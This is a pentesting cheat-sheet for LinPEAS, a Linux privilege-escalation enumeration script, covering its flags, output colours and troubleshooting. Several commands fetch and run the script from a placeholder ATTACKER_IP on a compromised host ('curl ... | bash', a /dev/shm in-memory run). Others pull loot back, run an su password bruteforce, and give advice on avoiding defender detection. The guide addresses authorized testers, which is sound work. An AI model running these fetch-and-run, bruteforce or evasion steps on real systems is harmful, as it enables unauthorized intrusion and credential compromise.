LinPEAS
LinPEAS (part of the PEASS-ng suite) is a single script that enumerates a Linux host for privilege-escalation paths and color-codes what it finds by how likely it is to matter. Reach for it the moment you land a low-privilege shell and need to answer “I have a shell, now how do I become root?” without running dozens of checks by hand. It does not exploit anything; it surfaces leads (SUID, sudo, cron, capabilities, credentials, kernel) that you then verify and act on yourself.
Mental model: bash linpeas.sh [options] | tee lp.txt. It scans the host it runs on, there is no target argument, and everything else is one flag away.
New to Linux privesc? Core concepts
- SUID/SGID: binaries that run as their owner/group; a shell-spawning one owned by root is a straight path (
find / -perm -4000) - sudo rules: what you may run as another user;
NOPASSWDor a misconfigured binary is the fastest win (sudo -l) - Capabilities: fine-grained root powers pinned to a binary, e.g.
cap_setuid,cap_dac_read_search(getcap -r /) - Cron jobs: scheduled tasks; a world-writable script run by root is the classic path (
/etc/crontab) - Writable paths: writable entries in
$PATH, service configs, unit files, or other users’ homes - Credentials in files: passwords in configs, shell history, backups,
.envfiles, DB dumps - Kernel / package version: a hint for a public exploit, never a guarantee it applies
- Color legend: red/yellow = 95% a PE vector, plain red = “look here”, green/blue = informational
When to reach for LinPEAS (and when not)
Reach for it to map every privesc class in seconds right after a foothold, to see what an attacker would flag on a box you are hardening, or to triage many hosts where manual enumeration would take too long. Run it only on hosts you own or are explicitly authorized to test.
Reach for something else when you already know the vector (skip the noise and exploit it), when the host is monitored and the burst of filesystem reads would get you caught (use targeted manual checks: sudo -l, find / -perm -4000, getcap -r /), or when you need live process and cron activity over time (pspy). For a lighter, quieter script use linux-smart-enumeration (lse.sh) or LinEnum.
Install, update, verify#
LinPEAS is a standalone script, not a system package, so “installing” means keeping a current copy on your attacker box.
# Official release build - current, works everywhere (preferred)
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh -o linpeas.sh
ls /usr/share/peass*/linpeas/linpeas.sh 2>/dev/null # Kali may ship a copy in its package tree
# Update = re-pull the latest release over your old copy
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh -o linpeas.sh
bash linpeas.sh -h # options banner (confirms it parses)
head -n 20 linpeas.sh # sanity-check you grabbed the real script
New releases add checks and CVE hints, so a current copy finds more. There is no on-target install and nothing to compile: keep the freshest script on your box and transfer it each engagement.
Flags you’ll actually use#
Skim these first; the cheat sheet below is these flags combined.
| Flag | Does | Flag | Does |
|---|---|---|---|
-a | All checks: process snapshot, su brute, extras (loud, CTF mode) | -P PW | Use a known password for sudo -l and su bruteforce |
-s | Stealth and faster (skip slow checks) | -o LIST | Only the named check groups (comma-separated) |
-e | Extra enumeration (deeper, slower) | -T IDs | Only checks matching MITRE technique(s) |
-r | Enable regex secret hunting (very slow) | -t | Automatic network scan (very noisy) |
-N | No colors (clean file to grep) | -w | Pause between big blocks of checks |
-q | Do not show the banner | -h | Help / list current options |
Cheat sheet#
Each block starts simple and adds one flag at a time, so you can stop at the line that does the job.
# Deliver it (serve from your box first: python3 -m http.server 8000)
wget http://ATTACKER_IP:8000/linpeas.sh -O /tmp/linpeas.sh # save a copy
curl http://ATTACKER_IP:8000/linpeas.sh | bash # transfer-free pipe (labs)
# Run + save: stop at the line you need
bash linpeas.sh # 1. full report to the terminal
bash linpeas.sh | tee lp.txt # 2. + keep a color copy
bash linpeas.sh -N | tee lp.txt # 3. + no color codes (clean file)
bash linpeas.sh -N -q > lp.txt # 4. + no banner, straight to file
# Tune the depth
bash linpeas.sh -s # stealth + faster (skips slow checks)
bash linpeas.sh -a # all checks: process snapshot + su brute (loud)
bash linpeas.sh -e # extra enumeration (deeper, slower)
bash linpeas.sh -r # add regex secret hunting (can take ages)
# Scope the checks
bash linpeas.sh -o system_information,interesting_perms_files # only these groups
bash linpeas.sh -T T1057,T1082 # only checks for these MITRE techniques
# Use a password you already have
bash linpeas.sh -P 'hunter2' # runs sudo -l and su-bruteforces with it
# Focus the saved output
grep -iE 'sudo|SUID|SGID|capabilit|cron|password|_rsa|writable' lp.txt
# Strip color codes from a file you saved without -N
sed -r 's/\x1B\[[0-9;]*[mK]//g' lp.txt > lp-clean.txt
# Clean up the target when done
rm -f /tmp/linpeas.sh lp.txt
Command breakdowns#
Each block below explains one situation, the exact command, and what to expect back.
Get LinPEAS onto the target from your attacker box#
python3 -m http.server 8000 # on your box, in the dir holding linpeas.sh
wget http://ATTACKER_IP:8000/linpeas.sh -O /tmp/linpeas.sh && chmod +x /tmp/linpeas.sh
LinPEAS runs on the target, so you deliver it over the foothold you already have. /tmp and /dev/shm are almost always writable and executable. For every transfer method, see the file transfer methods guides.
Run it and keep a copy you can read later#
/tmp/linpeas.sh | tee /tmp/lp.txt
tee shows the color report live and writes it to a file, because the scrollback will not hold the whole thing. Expect a long, sectioned report that ends with the top findings.
Save a clean, no-color file for grepping and notes#
bash /tmp/linpeas.sh -N | tee /tmp/lp.txt
-N drops the ANSI color codes so grep, less, and editors read the file cleanly. This is the copy you attach to notes. Note the trap: -q only hides the banner, it does not remove color.
Run every check on a stubborn box#
bash /tmp/linpeas.sh -a | tee /tmp/lp-all.txt
-a adds a one-minute process snapshot, an su password bruteforce against other users, and the extra checks. Slower and much louder, but it catches what the default skips.
Do a fast, low-noise pass#
bash /tmp/linpeas.sh -s | tee /tmp/lp-fast.txt
-s (stealth) skips the time-consuming checks for a quicker, quieter run. Good on a monitored box or when you just want the obvious wins.
Go deeper when the default came back thin#
bash /tmp/linpeas.sh -e | tee /tmp/lp-extra.txt
-e runs the extra enumeration the default holds back for speed. Reach for it on a hardened box before you conclude there is nothing there.
Search the report for the findings that matter#
grep -iE 'sudo|SUID|SGID|capabilit|cron|password|_rsa|writable' /tmp/lp.txt
Pulls the high-signal lines out of a report that can run thousands of lines, so you triage instead of scroll. Works cleanly only on a no-color file (-N) or one you stripped with sed.
Limit the scan to specific check groups#
bash /tmp/linpeas.sh -o system_information,interesting_perms_files
-o runs only the named groups. Valid groups include system_information, procs_crons_timers_srvcs_sockets, interesting_perms_files, interesting_files, and api_keys_regex. Use it when you want one class of answer without the full run.
Filter by MITRE ATT&CK technique#
bash /tmp/linpeas.sh -T T1057,T1082
-T runs only the checks tagged with the given technique IDs (here process discovery and system information discovery). Handy when a report needs to map to a specific ATT&CK coverage requirement.
Feed LinPEAS a password you already have#
bash /tmp/linpeas.sh -P 'hunter2'
-P runs sudo -l with that password and tries it against other users via su. Turns a known low-priv credential into a fuller sudo picture in one pass.
Strip color codes from a report you saved in color#
sed -r 's/\x1B\[[0-9;]*[mK]//g' /tmp/lp.txt > /tmp/lp-clean.txt
Use this when you already ran without -N and the file is full of ^[[0;31m escape sequences. It leaves plain text that greps and reads normally.
Pull the saved report back to your attacker box#
# target: cd /tmp && python3 -m http.server 8001
# you: wget http://TARGET_IP:8001/lp.txt -O loot/lp.txt
Read the report comfortably off-target and keep it in your loot folder. Reverse the direction of the transfer you used to deliver the script.
Run it from memory and leave nothing behind#
cd /dev/shm && wget http://ATTACKER_IP:8000/linpeas.sh -O lp.sh && bash lp.sh -N > lp.txt
/dev/shm is tmpfs, so the script and output live in RAM and vanish on reboot. Delete both when done (rm -f /dev/shm/lp.sh /dev/shm/lp.txt) to keep the box clean.
Reading the output#
LinPEAS prints its own legend at the top of every run. Read the colors by it, not by vibe:
| Color | Meaning | Do next |
|---|---|---|
RED/YELLOW | 95% a PE vector | Verify and exploit this first |
RED | Worth a closer look | Check it before the plain entries |
LightCyan | Users with a console | Candidates for lateral moves / cred reuse |
Blue | Users without console, mounted devices | Context, rarely the win |
Green | Common, expected things | Baseline, usually ignore |
LightMagenta | Your own username | Orientation only |
The highest-value sections are Sudo ((ALL) NOPASSWD or a GTFOBins-able binary), SUID/SGID, Capabilities (cap_setuid), Cron (writable root-run scripts), and “Files with credentials” (the boring section that often holds the real answer). Empty or thin output means a hardened box, a botched transfer, or a skipped check: re-run with -a/-e and enumerate by hand.
Troubleshooting#
| Problem | Cause | Fix |
|---|---|---|
No such file when running | Transfer failed / wrong path | Confirm the file landed (ls -l /tmp/linpeas.sh), re-check the serve dir and URL |
Connection refused on download | No web server / wrong port | Start python3 -m http.server 8000 in the dir that holds the script |
Permission denied | Not executable or read-only dir | chmod +x, or run via bash linpeas.sh; work from /tmp or /dev/shm |
Garbled ^[[0;31m in a saved file | Saved with color | Re-run with -N, or strip with sed |
-q still shows colors | -q only hides the banner | Use -N for no color |
| Runs forever | Big filesystem, -a, or -r | Drop -a/-r, use -s, or scope with -o |
| Report is thin | Default skipped it, or hardened box | Try -a/-e, and enumerate by hand |
| Findings differ from a tutorial | Flags/sections changed between releases | Re-pull the latest and check bash linpeas.sh -h |
Gotchas#
-qhides the banner,-Nremoves color. The two are constantly confused; if you want a clean file to grep, it is-Nyou want, not-q.- Red is “look here first,” not “guaranteed root.” The legend literally reads “95% a PE vector”, so treat every hit as a lead and verify it by hand before you act.
curl | bashleaves a trail. It shows in shell history, in process accounting, and as an outbound HTTP pull into a temp dir, which is exactly what defenders alert on. Download into/dev/shmand run from a file when noise matters.- A red kernel hint is the most dangerous line in the report. Running a mismatched kernel exploit can panic the box and drop the service; confirm the exact version and target before you fire.
-aruns ansubruteforce. It is loud and can lock accounts where a lockout policy exists, so do not reach for it by reflex on a real assessment.- The credential-in-files section is easy to skip and often holds the answer. The configs, history, and backups it surfaces beat a fancier SUID chase more often than you would expect.
Pairs with#
nmap and netcat get you the foothold LinPEAS runs from. When a flagged sudo or SUID binary needs a concrete technique, GTFOBins turns it into one; when a service or kernel version looks exploitable, searchsploit checks for a public exploit. Reach for pspy alongside it to watch cron and process activity LinPEAS only snapshots, and for a lighter, quieter enumerator drop to linux-smart-enumeration (lse.sh); metasploit offers a stable session and its own local-exploit suggestions once you have a lead.